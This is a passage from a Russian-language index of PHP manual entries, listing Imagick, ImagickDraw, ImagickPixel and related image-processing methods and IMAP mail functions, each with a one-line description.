    • Imagick::getImageDistortion - Сравнивает изображение с восстановленным изображением
    • Imagick::getImageExtrema - Возвращает экстремумы изображения
    • Imagick::getImageFilename - Возвращает имя файла конкретного изображения в последовательности
    • Imagick::getImageFormat - Возвращает формат конкретного изображения в последовательности
    • Imagick::getImageGamma - Возвращает гамму изображения
    • Imagick::getImageGeometry - Возвращает ширину и высоту в виде ассоциативного массива
    • Imagick::getImageGravity - Возвращает значение гравитации (притяжения)
    • Imagick::getImageGreenPrimary - Возвращает первичную точку цветности зелёного
    • Imagick::getImageHeight - Возвращает высоту изображения
    • Imagick::getImageHistogram - Возвращает гистограмму изображения
    • Imagick::getImageIndex - Возвращает индекс текущего активного изображения
    • Imagick::getImageInterlaceScheme - Получает схему чересстрочного изображения
    • Imagick::getImageInterpolateMethod - Возвращает метод интерполяции
    • Imagick::getImageIterations - Возвращает итерации изображения
    • Imagick::getImageLength - Возвращает длину изображения в байтах
    • Imagick::getImageMatte - Возвращает, если изображение содержит матовый канал
    • Imagick::getImageMatteColor - Возвращает матовый цвет изображения
    • Imagick::getImageMimeType - Возвращает MIME-тип изображения
    • Imagick::getImageOrientation - Возвращает ориентацию изображения
    • Imagick::getImagePage - Возвращает геометрию страницы
    • Imagick::getImagePixelColor - Возвращает цвет указанного пикселя
    • Imagick::getImageProfile - Возвращает именованный профиль изображения
    • Imagick::getImageProfiles - Возвращает профили изображений
    • Imagick::getImageProperties - Возвращает свойства изображения
    • Imagick::getImageProperty - Возвращает именованное свойство изображения
    • Imagick::getImageRedPrimary - Возвращает красную первичную точку цветности
    • Imagick::getImageRegion - Извлекает область изображения
    • Imagick::getImageRenderingIntent - Возвращает схему цветопередачи изображения
    • Imagick::getImageResolution - Возвращает разрешение изображения по X и Y
    • Imagick::getImagesBlob - Возвращает все последовательности изображений в виде большого двоичного объекта
    • Imagick::getImageScene - Возвращает сцену изображения
    • Imagick::getImageSignature - Генерирует хеш SHA-256
    • Imagick::getImageSize - Возвращает размер изображения в байтах
    • Imagick::getImageTicksPerSecond - Получает количество кадров в секунду для изображения
    • Imagick::getImageTotalInkDensity - Возвращает общую плотность чернил изображения
    • Imagick::getImageType - Возвращает возможный тип изображения
    • Imagick::getImageUnits - Возвращает единицы измерения разрешения изображения
    • Imagick::getImageVirtualPixelMethod - Возвращает метод виртуального пикселя
    • Imagick::getImageWhitePoint - Возвращает белую точку цветности
    • Imagick::getImageWidth - Возвращает ширину изображения
    • Imagick::getInterlaceScheme - Получает схему сжатия изображения
    • Imagick::getIteratorIndex - Возвращает индекс текущего активного изображения
    • Imagick::getNumberImages - Возвращает количество изображений в объекте
    • Imagick::getOption - Возвращает значение, связанное с указанным ключом
    • Imagick::getPackageName - Возвращает имя пакета ImageMagick
    • Imagick::getPage - Возвращает геометрию страницы
    • Imagick::getPixelIterator - Возвращает MagickPixelIterator
    • Imagick::getPixelRegionIterator - Возвращает объект ImagickPixelIterator для секции изображения
    • Imagick::getPointSize - Возвращает размер точки
    • Imagick::getQuantum - Возвращает квантовый диапазон ImageMagick
    • Imagick::getQuantumDepth - Возвращает величину глубины
    • Imagick::getQuantumRange - Возвращает величину размера спектра Imagick
    • Imagick::getRegistry - Получает запись StringRegistry
    • Imagick::getReleaseDate - Возвращает дату релиза ImageMagick
    • Imagick::getResource - Возвращает размер используемой памяти указанного ресурса
    • Imagick::getResourceLimit - Возвращает заданный лимит ресурсов
    • Imagick::getSamplingFactors - Возвращает горизонтальный и вертикальный фактор выборки
    • Imagick::getSize - Возвращает размер, связанный с объектом Imagick
    • Imagick::getSizeOffset - Возвращает размер смещения
    • Imagick::getVersion - Возвращает версию API ImageMagick
    • Imagick::haldClutImage - Заменяет цвета в изображении
    • Imagick::hasNextImage - Проверяет, содержит ли объект больше изображений
    • Imagick::hasPreviousImage - Проверяет, есть ли у объекта предыдущее изображение
    • Imagick::identifyFormat - Заменяет любые встроенные символы форматирования соответствующим свойством изображения
    • Imagick::identifyImage - Определяет изображение и получает атрибуты
    • Imagick::implodeImage - Создаёт копию изображения
    • Imagick::importImagePixels - Импортирует пиксели изображения
    • Imagick::inverseFourierTransformImage - Реализует дискретное преобразование Фурье
    • Imagick::labelImage - Добавляет метку к изображению
    • Imagick::levelImage - Регулирует уровни изображения
    • Imagick::linearStretchImage - Растягивает с насыщением яркость изображения
    • Imagick::liquidRescaleImage - Анимирует изображение или изображения
    • Imagick::listRegistry - Перечисляет все настройки реестра
    • Imagick::magnifyImage - Пропорционально масштабирует изображение в два раза
    • Imagick::mapImage - Заменяет цвета изображения на ближайший цвет из эталонного изображения
    • Imagick::matteFloodfillImage - Изменяет значение прозрачности цвета
    • Imagick::medianFilterImage - Применяет цифровой фильтр
    • Imagick::mergeImageLayers - Объединяет слои изображения
    • Imagick::minifyImage - Масштабирует изображение пропорционально половине его размера
    • Imagick::modulateImage - Управляйте яркостью, насыщенностью и оттенком
    • Imagick::montageImage - Создаёт составное изображение
    • Imagick::morphImages - Преобразовывает набор изображений
    • Imagick::morphology - Применяет к изображению ядро, предоставленное пользователем, в соответствии с заданным методом морфологии
    • Imagick::mosaicImages - Формирует мозаику из изображений
    • Imagick::motionBlurImage - Имитирует размытие в движении
    • Imagick::negateImage - Инвертирует цвета в эталонном изображении
    • Imagick::newImage - Создаёт новое изображение
    • Imagick::newPseudoImage - Создаёт новое изображение
    • Imagick::nextImage - Переходит к следующему изображению
    • Imagick::normalizeImage - Повышает контрастность цветного изображения
    • Imagick::oilPaintImage - Имитирует картину маслом
    • Imagick::opaquePaintImage - Изменяет значение цвета любого пикселя, соответствующего целевому
    • Imagick::optimizeImageLayers - Удаляет повторяющиеся части изображений для оптимизации
    • Imagick::orderedPosterizeImage - Выполняет упорядоченный дизеринг
    • Imagick::paintFloodfillImage - Изменяет значение цвета любого пикселя, соответствующего цели
    • Imagick::paintOpaqueImage - Изменяет любой пиксель, соответствующий цвету
    • Imagick::paintTransparentImage - Изменяет любой пиксель, соответствующий цвету, на цвет, определённый заливкой
    • Imagick::pingImage - Получает основные атрибуты изображения
    • Imagick::pingImageBlob - Быстро извлекает атрибуты
    • Imagick::pingImageFile - Получает базовые атрибуты изображения упрощённым способом
    • Imagick::polaroidImage - Имитирует фото Polaroid
    • Imagick::posterizeImage - Уменьшает изображение до ограниченного количества уровней цвета
    • Imagick::previewImages - Быстрое определение подходящих параметров для обработки изображений
    • Imagick::previousImage - Переходит к предыдущему изображению в объекте
    • Imagick::profileImage - Добавляет или удаляет профиль изображения
    • Imagick::quantizeImage - Анализирует цвета эталонного изображения
    • Imagick::quantizeImages - Анализирует цвета в последовательности изображений
    • Imagick::queryFontMetrics - Возвращает массив, представляющий метрики шрифта
    • Imagick::queryFonts - Возвращает настроенные шрифты
    • Imagick::queryFormats - Возвращает форматы, поддерживаемые Imagick
    • Imagick::radialBlurImage - Радиальное размытие изображения
    • Imagick::raiseImage - Создаёт имитацию эффекта 3D-кнопки
    • Imagick::randomThresholdImage - Создаёт высококонтрастное двухцветное изображение
    • Imagick::readImage - Читает изображение из файла
    • Imagick::readImageBlob - Считывает изображение из двоичной строки
    • Imagick::readImageFile - Читает изображение из открытого дескриптора файла
    • Imagick::readimages - Читает изображение из массива имён файлов
    • Imagick::recolorImage - Перекрашивает изображение
    • Imagick::reduceNoiseImage - Сглаживает контуры изображения
    • Imagick::remapImage - Переназначает цвета изображения
    • Imagick::removeImage - Удаляет изображение из списка изображений
    • Imagick::removeImageProfile - Удаляет именованный профиль изображения и возвращает его
    • Imagick::render - Отображает все предыдущие команды рисования
    • Imagick::resampleImage - Преобразовывает изображение к нужному разрешению
    • Imagick::resetImagePage - Сбрасывает страницу изображения
    • Imagick::resizeImage - Масштабирует изображение
    • Imagick::rollImage - Смещает изображение
    • Imagick::rotateImage - Поворачивает изображение
    • Imagick::rotationalBlurImage - Применяет вращательное размытие к изображению
    • Imagick::roundCorners - Скругляет углы изображения
    • Imagick::sampleImage - Масштабирует изображение с пиксельной выборкой
    • Imagick::scaleImage - Масштабирует размер изображения
    • Imagick::segmentImage - Сегментирует изображение
    • Imagick::selectiveBlurImage - Выборочное размытие изображения в пределах порогового значения контрастности
    • Imagick::separateImageChannel - Отделяет канал от изображения
    • Imagick::sepiaToneImage - Тонирование изображения сепией
    • Imagick::setBackgroundColor - Устанавливает цвет фона объекта по умолчанию
    • Imagick::setColorspace - Устанавливает цветовое пространство
    • Imagick::setCompression - Устанавливает тип сжатия объекта по умолчанию
    • Imagick::setCompressionQuality - Устанавливает качество сжатия объекта по умолчанию
    • Imagick::setFilename - Устанавливает имя файла перед чтением или записью изображения
    • Imagick::setFirstIterator - Устанавливает итератор Imagick для первого изображения
    • Imagick::setFont - Устанавливает шрифт
    • Imagick::setFormat - Устанавливает формат объекта Imagick
    • Imagick::setGravity - Устанавливает гравитацию
    • Imagick::setImage - Заменяет изображение в объекте
    • Imagick::setImageAlphaChannel - Устанавливает альфа-канал изображения
    • Imagick::setImageArtifact - Устанавливает артефакт изображения
    • Imagick::setImageAttribute - Устанавливает атрибут изображения
    • Imagick::setImageBackgroundColor - Устанавливает цвет фона изображения
    • Imagick::setImageBias - Устанавливает смещение изображения для любого метода, который свёртывает изображение
    • Imagick::setImageBiasQuantum - Устанавливает смещение изображения
    • Imagick::setImageBluePrimary - Устанавливает цветность изображения голубой основной точкой
    • Imagick::setImageBorderColor - Устанавливает цвет рамки изображения
    • Imagick::setImageChannelDepth - Устанавливает глубину определённого канала изображения
    • Imagick::setImageClipMask - Устанавливает маску клипа
    • Imagick::setImageColormapColor - Устанавливает цвет указанного индекса цветовой карты
    • Imagick::setImageColorspace - Устанавливает цветовое пространство изображения
    • Imagick::setImageCompose - Устанавливает оператор составного изображения
    • Imagick::setImageCompression - Устанавливает сжатие изображения
    • Imagick::setImageCompressionQuality - Устанавливает качество сжатия изображения
    • Imagick::setImageDelay - Устанавливает задержку изображения
    • Imagick::setImageDepth - Устанавливает глубину изображения
    • Imagick::setImageDispose - Устанавливает метод удаления изображения
    • Imagick::setImageExtent - Устанавливает размер изображения
    • Imagick::setImageFilename - Устанавливает имя файла конкретного изображения
    • Imagick::setImageFormat - Устанавливает формат определённого изображения
    • Imagick::setImageGamma - Устанавливает гамму изображения
    • Imagick::setImageGravity - Устанавливает гравитацию изображения
    • Imagick::setImageGreenPrimary - Устанавливает цветность изображения зелёной первичной точкой
    • Imagick::setImageIndex - Устанавливает позицию итератора
    • Imagick::setImageInterlaceScheme - Устанавливает сжатие изображения
    • Imagick::setImageInterpolateMethod - Устанавливает метод интерполяции пикселей изображения
    • Imagick::setImageIterations - Устанавливает итерации изображения
    • Imagick::setImageMatte - Устанавливает матовый канал изображения
    • Imagick::setImageMatteColor - Устанавливает матовый цвет изображения
    • Imagick::setImageOpacity - Устанавливает уровень непрозрачности изображения
    • Imagick::setImageOrientation - Устанавливает ориентацию изображения
    • Imagick::setImagePage - Устанавливает геометрию страницы изображения
    • Imagick::setImageProfile - Добавляет именованный профиль к объекту Imagick
    • Imagick::setImageProperty - Устанавливает свойство изображения
    • Imagick::setImageRedPrimary - Устанавливает красную первичную точку цветности изображения
    • Imagick::setImageRenderingIntent - Устанавливает схему цветопередачи изображения
    • Imagick::setImageResolution - Устанавливает разрешение изображения
    • Imagick::setImageScene - Устанавливает сцену изображения
    • Imagick::setImageTicksPerSecond - Устанавливает продолжительность отображения кадра
    • Imagick::setImageType - Устанавливает тип изображения
    • Imagick::setImageUnits - Устанавливает единицы измерения разрешения изображения
    • Imagick::setImageVirtualPixelMethod - Устанавливает метод виртуального пикселя
    • Imagick::setImageWhitePoint - Устанавливает белую точку цветности изображения
    • Imagick::setInterlaceScheme - Устанавливает сжатие изображения
    • Imagick::setIteratorIndex - Устанавливает позицию итератора
    • Imagick::setLastIterator - Устанавливает итератор Imagick к последнему изображению
    • Imagick::setOption - Устанавливает опцию
    • Imagick::setPage - Устанавливает геометрию страницы объекта Imagick
    • Imagick::setPointSize - Устанавливает размер точки
    • Imagick::setProgressMonitor - Устанавливает callback-функцию, которая будет вызываться во время обработки изображения Imagick
    • Imagick::setRegistry - Устанавливает значение для записи реестра ImageMagick с именем key
    • Imagick::setResolution - Устанавливает разрешение изображения
    • Imagick::setResourceLimit - Устанавливает лимит для конкретного ресурса
    • Imagick::setSamplingFactors - Устанавливает коэффициенты выборки изображений
    • Imagick::setSize - Устанавливает размер объекта Imagick
    • Imagick::setSizeOffset - Устанавливает размер и смещение объекта Imagick
    • Imagick::setType - Устанавливает атрибут типа изображения
    • Imagick::shadeImage - Создаёт 3D-эффект
    • Imagick::shadowImage - Имитирует тень изображения
    • Imagick::sharpenImage - Повышает резкость изображения
    • Imagick::shaveImage - Удаляет пиксели по краям изображения
    • Imagick::shearImage - Создаёт параллелограмм
    • Imagick::sigmoidalContrastImage - Регулирует контраст изображения
    • Imagick::sketchImage - Имитирует набросок карандашом
    • Imagick::smushImages - Берёт все изображения из текущего указателя изображения в конец списка изображений и перемещает их
    • Imagick::solarizeImage - Применяет к изображению эффект соляризации
    • Imagick::sparseColorImage - Интерполирует цвета
    • Imagick::spliceImage - Склеивает сплошной цвет в изображение
    • Imagick::spreadImage - Случайно смещает каждый пиксель в блоке
    • Imagick::statisticImage - Модификация изображения с помощью функции статистики
    • Imagick::steganoImage - Скрывает цифровой водяной знак в изображении
    • Imagick::stereoImage - Объединяет два изображения
    • Imagick::stripImage - Снимает изображение всех профилей и комментариев
    • Imagick::subImageMatch - Выполняет поиск фрагмента изображения в текущем изображении и возвращает второстепенное изображение
    • Imagick::swirlImage - Закручивает пиксели вокруг центра изображения
    • Imagick::textureImage - Многократно размещает изображение текстуры
    • Imagick::thresholdImage - Изменяет отдельные пиксели на основе порогового значения
    • Imagick::thumbnailImage - Изменяет размер изображения
    • Imagick::tintImage - Применяет вектор цвета к каждому пикселю изображения
    • Imagick::transformImage - Удобный метод настройки размера кадрирования и геометрии изображения
    • Imagick::transformImageColorspace - Преобразовывает изображение в новое цветовое пространство
    • Imagick::transparentPaintImage - Рисует пиксели прозрачными
    • Imagick::transposeImage - Создаёт вертикальное зеркальное отображение
    • Imagick::transverseImage - Создаёт горизонтальное зеркальное отображение
    • Imagick::trimImage - Удаляет края с изображения
    • Imagick::uniqueImageColors - Отбрасывает всё, кроме одного, любого цвета пикселя
    • Imagick::unsharpMaskImage - Резкость изображения
    • Imagick::valid - Проверяет, является ли текущий элемент корректным
    • Imagick::vignetteImage - Добавляет виньетный фильтр к изображению
    • Imagick::waveImage - Применяет волновой фильтр к изображению
    • Imagick::whiteThresholdImage - Закрашивает все пиксели выше порога в белый
    • Imagick::writeImage - Записывает изображение по указанному имени файла
    • Imagick::writeImageFile - Записывает изображение в файл
    • Imagick::writeImages - Записывает изображение или последовательность изображений
    • Imagick::writeImagesFile - Записывает фреймы в файловый дескриптор
    • Imagick::__construct - Конструктор объекта Imagick
    • Imagick::__toString - Возвращает изображение в виде строки
    • ImagickDraw::affine - Регулирует текущую матрицу аффинного преобразования
    • ImagickDraw::annotation - Рисует текст на картинке
    • ImagickDraw::arc - Рисует дугу
    • ImagickDraw::bezier - Рисует кривую Безье
    • ImagickDraw::circle - Рисует круг
    • ImagickDraw::clear - Очищает ImagickDraw
    • ImagickDraw::clone - Делает точную копию указанного объекта ImagickDraw
    • ImagickDraw::color - Рисует цвет на изображении
    • ImagickDraw::comment - Добавляет комментарий
    • ImagickDraw::composite - Накладывает изображение на текущее изображение
    • ImagickDraw::destroy - Освобождает все связанные ресурсы
    • ImagickDraw::ellipse - Рисует на изображении эллипс
    • ImagickDraw::getClipPath - Возвращает идентификатор текущего обтравочного контура
    • ImagickDraw::getClipRule - Возвращает текущее правило заливки многоугольника
    • ImagickDraw::getClipUnits - Возвращает интерпретацию единиц обтравочного контура
    • ImagickDraw::getFillColor - Возвращает цвет заливки
    • ImagickDraw::getFillOpacity - Возвращает непрозрачность, используемую при рисовании
    • ImagickDraw::getFillRule - Возвращает правило заливки
    • ImagickDraw::getFont - Возвращает шрифт
    • ImagickDraw::getFontFamily - Возвращает семейство шрифтов
    • ImagickDraw::getFontSize - Возвращает размер шрифта
    • ImagickDraw::getFontStretch - Получает растяжение шрифта, используемое при аннотации текста
    • ImagickDraw::getFontStyle - Возвращает стиль шрифта
    • ImagickDraw::getFontWeight - Возвращает толщину шрифта
    • ImagickDraw::getGravity - Возвращает гравитацию размещения текста
    • ImagickDraw::getStrokeAntialias - Возвращает текущую настройку сглаживания обводки
    • ImagickDraw::getStrokeColor - Возвращает цвет, используемый для обводки контуров объекта
    • ImagickDraw::getStrokeDashArray - Возвращает массив, представляющий паттерн из штрихов и пробелов, используемых для обводки контуров
    • ImagickDraw::getStrokeDashOffset - Возвращает смещение в штриховом паттерне для начала штриховки
    • ImagickDraw::getStrokeLineCap - Возвращает форму, которая будет использоваться в конце открытых внутренних контуров при их обводке
    • ImagickDraw::getStrokeLineJoin - Возвращает форму, которая будет использоваться в углах контуров при их обводке
    • ImagickDraw::getStrokeMiterLimit - Возвращает предел среза обводки
    • ImagickDraw::getStrokeOpacity - Возвращает непрозрачность обведённых контуров объекта
    • ImagickDraw::getStrokeWidth - Возвращает ширину обводки, используемой для рисования контуров объекта
    • ImagickDraw::getTextAlignment - Возвращает выравнивание текста
    • ImagickDraw::getTextAntialias - Возвращает текущую настройку сглаживания текста
    • ImagickDraw::getTextDecoration - Возвращает оформление текста
    • ImagickDraw::getTextEncoding - Возвращает кодовый набор, используемый для текстовых аннотаций
    • ImagickDraw::getTextInterlineSpacing - Возвращает межстрочный интервал текста
    • ImagickDraw::getTextInterwordSpacing - Возвращает межсловный интервал текста
    • ImagickDraw::getTextKerning - Возвращает межбуквенный интервал текста
    • ImagickDraw::getTextUnderColor - Возвращает цвет под текстом
    • ImagickDraw::getVectorGraphics - Возвращает строку, содержащую векторную графику
    • ImagickDraw::line - Рисует линию
    • ImagickDraw::matte - Закрашивает канал непрозрачности изображения
    • ImagickDraw::pathClose - Добавляет элемент пути к текущему пути
    • ImagickDraw::pathCurveToAbsolute - Рисует кубическую кривую Безье
    • ImagickDraw::pathCurveToQuadraticBezierAbsolute - Рисует квадратичную кривую Безье
    • ImagickDraw::pathCurveToQuadraticBezierRelative - Рисует квадратичную кривую Безье
    • ImagickDraw::pathCurveToQuadraticBezierSmoothAbsolute - Рисует квадратичную кривую Безье
    • ImagickDraw::pathCurveToQuadraticBezierSmoothRelative - Рисует квадратичную кривую Безье
    • ImagickDraw::pathCurveToRelative - Рисует кубическую кривую Безье
    • ImagickDraw::pathCurveToSmoothAbsolute - Рисует кубическую кривую Безье
    • ImagickDraw::pathCurveToSmoothRelative - Рисует кубическую кривую Безье
    • ImagickDraw::pathEllipticArcAbsolute - Рисует эллиптическую дугу
    • ImagickDraw::pathEllipticArcRelative - Рисует эллиптическую дугу
    • ImagickDraw::pathFinish - Завершает текущий путь
    • ImagickDraw::pathLineToAbsolute - Рисует линию
    • ImagickDraw::pathLineToHorizontalAbsolute - Рисует горизонтальную линию
    • ImagickDraw::pathLineToHorizontalRelative - Рисует горизонтальную линию
    • ImagickDraw::pathLineToRelative - Рисует линию
    • ImagickDraw::pathLineToVerticalAbsolute - Рисует вертикальную линию
    • ImagickDraw::pathLineToVerticalRelative - Рисует вертикальную линию
    • ImagickDraw::pathMoveToAbsolute - Начинает новый внутренний контур
    • ImagickDraw::pathMoveToRelative - Начинает новый внутренний контур
    • ImagickDraw::pathStart - Объявляет начало отрисовки контура
    • ImagickDraw::point - Рисует точку
    • ImagickDraw::polygon - Рисует многоугольник
    • ImagickDraw::polyline - Рисует ломаную линию
    • ImagickDraw::pop - Уничтожает текущий объект ImagickDraw в стеке и возвращается к ранее добавленному объекту ImagickDraw
    • ImagickDraw::popClipPath - Завершает определение пути обтравочного контура
    • ImagickDraw::popDefs - Завершает список определений
    • ImagickDraw::popPattern - Завершает определение шаблона
    • ImagickDraw::push - Клонирует текущий объект ImagickDraw и добавляет его в стек
    • ImagickDraw::pushClipPath - Запускает определение пути обтравочного контура
    • ImagickDraw::pushDefs - Указывает, что следующие команды создают именованные элементы для ранней обработки
    • ImagickDraw::pushPattern - Указывает, что последующие команды вплоть до ImagickDraw::opPattern() составляют определение именованного паттерна
    • ImagickDraw::rectangle - Рисует прямоугольник
    • ImagickDraw::render - Отрисовывает все предыдущие команды рисования на изображении
    • ImagickDraw::resetVectorGraphics - Сбрасывает векторную графику
    • ImagickDraw::rotate - Применяет указанный поворот к текущему координатному пространству
    • ImagickDraw::roundRectangle - Рисует прямоугольник с закруглёнными углами
    • ImagickDraw::scale - Регулирует коэффициент масштабирования
    • ImagickDraw::setClipPath - Связывает именованный контур обтравочного контура с изображением
    • ImagickDraw::setClipRule - Устанавливает правило заливки многоугольника, которое будет использоваться обтравочным контуром
    • ImagickDraw::setClipUnits - Устанавливает интерпретацию единиц траектории обтравочного контура
    • ImagickDraw::setFillAlpha - Устанавливает непрозрачность при рисовании с использованием цвета или текстуры заливки
    • ImagickDraw::setFillColor - Устанавливает цвет заливки, используемый для рисования объектов с заливкой
    • ImagickDraw::setFillOpacity - Устанавливает непрозрачность при рисовании с использованием цвета или текстуры заливки
    • ImagickDraw::setFillPatternURL - Устанавливает URL-адрес для использования в качестве образца заливки для заливки объектов
    • ImagickDraw::setFillRule - Устанавливает правило заливки для использования при рисовании полигонов
    • ImagickDraw::setFont - Устанавливает указанный шрифт для использования при аннотировании текстом
    • ImagickDraw::setFontFamily - Устанавливает семейство шрифтов для использования при аннотировании текстом
    • ImagickDraw::setFontSize - Устанавливает размер шрифта для использования при аннотировании текстом
    • ImagickDraw::setFontStretch - Устанавливает растяжение шрифта для использования при аннотировании текстом
    • ImagickDraw::setFontStyle - Устанавливает стиль шрифта для использования при аннотировании текстом
    • ImagickDraw::setFontWeight - Устанавливает толщину шрифта
    • ImagickDraw::setGravity - Устанавливает гравитацию размещения текста
    • ImagickDraw::setResolution - Устанавливает разрешение
    • ImagickDraw::setStrokeAlpha - Определяет непрозрачность обводки контуров объекта
    • ImagickDraw::setStrokeAntialias - Управляет сглаживанием обводок контуров
    • ImagickDraw::setStrokeColor - Устанавливает цвет, используемый для обводки контуров объекта
    • ImagickDraw::setStrokeDashArray - Задаёт паттерн из штрихов и пробелов, используемых для обводки контуров
    • ImagickDraw::setStrokeDashOffset - Задаёт смещение в штриховом паттерне для начала штриховки
    • ImagickDraw::setStrokeLineCap - Задаёт форму, которая будет использоваться в конце открытых внутренних контуров при их обводке
    • ImagickDraw::setStrokeLineJoin - Задаёт форму, которая будет использоваться в углах контуров при их обводке
    • ImagickDraw::setStrokeMiterLimit - Задаёт предел среза обводки
    • ImagickDraw::setStrokeOpacity - Определяет непрозрачность обводки контуров объекта
    • ImagickDraw::setStrokePatternURL - Устанавливает паттерн, используемый для обводки контуров объекта
    • ImagickDraw::setStrokeWidth - Устанавливает ширину обводки, используемой для рисования контуров объекта
    • ImagickDraw::setTextAlignment - Задаёт выравнивание текста
    • ImagickDraw::setTextAntialias - Управляет сглаживанием текста
    • ImagickDraw::setTextDecoration - Определяет оформление
    • ImagickDraw::setTextEncoding - Задаёт кодовый набор текста
    • ImagickDraw::setTextInterlineSpacing - Устанавливает межстрочный интервал текста
    • ImagickDraw::setTextInterwordSpacing - Устанавливает межсловный интервал текста
    • ImagickDraw::setTextKerning - Устанавливает межбуквенный интервал текста
    • ImagickDraw::setTextUnderColor - Задаёт цвет фонового прямоугольника
    • ImagickDraw::setVectorGraphics - Устанавливает векторную графику
    • ImagickDraw::setViewbox - Устанавливает общий размер холста
    • ImagickDraw::skewX - Наклоняет текущую систему координат по горизонтали
    • ImagickDraw::skewY - Наклоняет текущую систему координат по вертикали
    • ImagickDraw::translate - Применяет перенос к текущей системе координат
    • ImagickDraw::__construct - Конструктор класса ImagickDraw
    • ImagickKernel::addKernel - Присоединяет другое ядро к этому ядру
    • ImagickKernel::addUnityKernel - Добавляет ядро Unity в список ядер
    • ImagickKernel::fromBuiltIn - Создаёт ядро из встроенного ядра
    • ImagickKernel::fromMatrix - Создаёт ядро из двумерной матрицы значений
    • ImagickKernel::getMatrix - Получает 2d матрицу значений, используемых в этом ядре
    • ImagickKernel::scale - Масштабирует список ядер на заданную величину
    • ImagickKernel::separate - Разделяет связанный набор ядер и возвращает массив ImagickKernels
    • ImagickPixel::clear - Очищает ресурсы, связанные с этим объектом
    • ImagickPixel::destroy - Освобождает ресурсы, связанные с этим объектом
    • ImagickPixel::getColor - Возвращает цвет
    • ImagickPixel::getColorAsString - Возвращает цвет в виде строки
    • ImagickPixel::getColorCount - Возвращает количество цветов связанных с этим цветом
    • ImagickPixel::getColorQuantum - Возвращает цвет пикселя в массиве в виде квантовых значений
    • ImagickPixel::getColorValue - Возвращает нормализованное значение цвета канала
    • ImagickPixel::getColorValueQuantum - Получает квантовое значение цвета в ImagickPixel
    • ImagickPixel::getHSL - Возвращает нормализованный HSL-цвет объекта ImagickPixel
    • ImagickPixel::getIndex - Получает индекс цветовой карты пиксельной палочки
    • ImagickPixel::isPixelSimilar - Проверяет расстояние между этим цветом и другим
    • ImagickPixel::isPixelSimilarQuantum - Возвращает true, если расстояние между двумя цветами меньше указанного расстояния
    • ImagickPixel::isSimilar - Проверить разницу между этим цветом и другим
    • ImagickPixel::setColor - Устанавливает цвет
    • ImagickPixel::setColorCount - Устанавливает количество цветов, связанных с этим цветом
    • ImagickPixel::setColorValue - Устанавливает нормализованное значение одного из каналов
    • ImagickPixel::setColorValueQuantum - Устанавливает квантовое значение цветового элемента ImagickPixel
    • ImagickPixel::setHSL - Установка нормализованного HSL цвета
    • ImagickPixel::setIndex - Устанавливает индекс цветовой карты пиксельной палочки
    • ImagickPixel::__construct - Конструктор ImagickPixel
    • ImagickPixelIterator::clear - Очищает ресурсы, связанные с PixelIterator
    • ImagickPixelIterator::destroy - Освобождает ресурсы, связанные с PixelIterator
    • ImagickPixelIterator::getCurrentIteratorRow - Возвращает текущий ряд объекта ImagickPixel
    • ImagickPixelIterator::getIteratorRow - Возвращает текущий пиксель итератора ряда
    • ImagickPixelIterator::getNextIteratorRow - Возвращает следующий ряд итератора пикселей
    • ImagickPixelIterator::getPreviousIteratorRow - Возвращает предыдущий ряд
    • ImagickPixelIterator::newPixelIterator - Возвращает новый итератор пикселей
    • ImagickPixelIterator::newPixelRegionIterator - Возвращает новый итератор пикселей
    • ImagickPixelIterator::resetIterator - Сбрасывает итератор пикселей
    • ImagickPixelIterator::setIteratorFirstRow - Устанавливает итератор пикселей на первый ряд
    • ImagickPixelIterator::setIteratorLastRow - Устанавливает итератор пикселей на последний ряд
    • ImagickPixelIterator::setIteratorRow - Устанавливает номер ряда в итераторе пикселей
    • ImagickPixelIterator::syncIterator - Синхронизирует итератор пикселей
    • ImagickPixelIterator::__construct - Конструктор ImagickPixelIterator
    • imap_8bit - Конвертирует 8-битную строку в строку в формате quoted-printable
    • imap_alerts - Возвращает все произошедшие предупредительные сообщения IMAP
    • imap_append - Добавляет строковое сообщение в указанный почтовый ящик
    • imap_base64 - Декодирует закодированный BASE64 текст
    • imap_binary - Конвертирует 8-битную строку в строку base64
    • imap_body - Читает тело сообщения
    • imap_bodystruct - Читает структуру указанной секции тела заданного сообщения
    • imap_check - Проверяет текущий почтовый ящик
    • imap_clearflag_full - Снимает с сообщения установленные флаги
    • imap_close - Закрывает поток IMAP
    • imap_create - Псевдоним imap_createmailbox
    • imap_createmailbox - Создаёт новый почтовый ящик
    • imap_delete - Помечает сообщение для удаления
    • imap_deletemailbox - Удаляет почтовый ящик
    • imap_errors - Получает все произошедшие ошибки IMAP
    • imap_expunge - Удаляет все помеченные для удаления сообщения
    • imap_fetchbody - Извлекает конкретную секцию тела сообщения
    • imap_fetchheader - Получает заголовок сообщения
    • imap_fetchmime - Извлекает MIME-заголовки для конкретной секции сообщения
    • imap_fetchstructure - Читает структуру указанного сообщения
    • imap_fetchtext - Псевдоним imap_body
    • imap_fetch_overview - Обозревает информацию из заголовков сообщений
    • imap_gc - Очищает кеш IMAP
    • imap_getacl - Получает ACL для заданного почтового ящика
    • imap_getmailboxes - Читает список почтовых ящиков и возвращает подробную информацию о каждом из них
    • imap_getsubscribed - Получает список всех почтовых ящиков, на которые оформлена подписка
    • imap_get_quota - Получает настройку уровня квоты и статистику использования почтовых ящиков
    • imap_get_quotaroot - Получает настройки квоты для каждого пользователя
    • imap_header - Псевдоним imap_headerinfo
    • imap_headerinfo - Читает заголовок сообщения
    • imap_headers - Получает заголовки всех сообщений в почтовом ящике
    • imap_is_open - Проверяет, является ли поток IMAP всё ещё корректным
    • imap_last_error - Получает последнюю ошибку IMAP в текущем запросе
    • imap_list - Читает список почтовых ящиков
    • imap_listmailbox - Псевдоним imap_list
    • imap_listscan - Получает список почтовых ящиков, имена которых содержат заданную строку
    • imap_listsubscribed - Псевдоним imap_lsub
    • imap_lsub - Получает список всех почтовых ящиков, на которые оформлена подписка
    • imap_mail - Отправляет сообщение
    • imap_mailboxmsginfo - Получает информацию о текущем почтовом ящике
    • imap_mail_compose - Создаёт MIME-сообщение на основе заданных обёртки и тела
    • imap_mail_copy - Копирует сообщения в указанный почтовый ящик
    • imap_mail_move - Перемещает указанные сообщения в указанный почтовый ящик
    • imap_mime_header_decode - Декодирует элементы заголовка
    • imap_msgno - Получает номер сообщения с заданным UID
    • imap_mutf7_to_utf8 - Декодирует изменённую строку UTF-7 в UTF-8
    • imap_num_msg - Получает количество сообщений в текущем почтовом ящике
    • imap_num_recent - Получает количество новых сообщений в текущем почтовом ящике
    • imap_open - Открывает поток IMAP к почтовому ящику
    • imap_ping - Проверяет, активен ли ещё поток IMAP
    • imap_qprint - Преобразовывает строку из формата quoted-printable в 8-битную строку
    • imap_rename - Псевдоним imap_renamemailbox
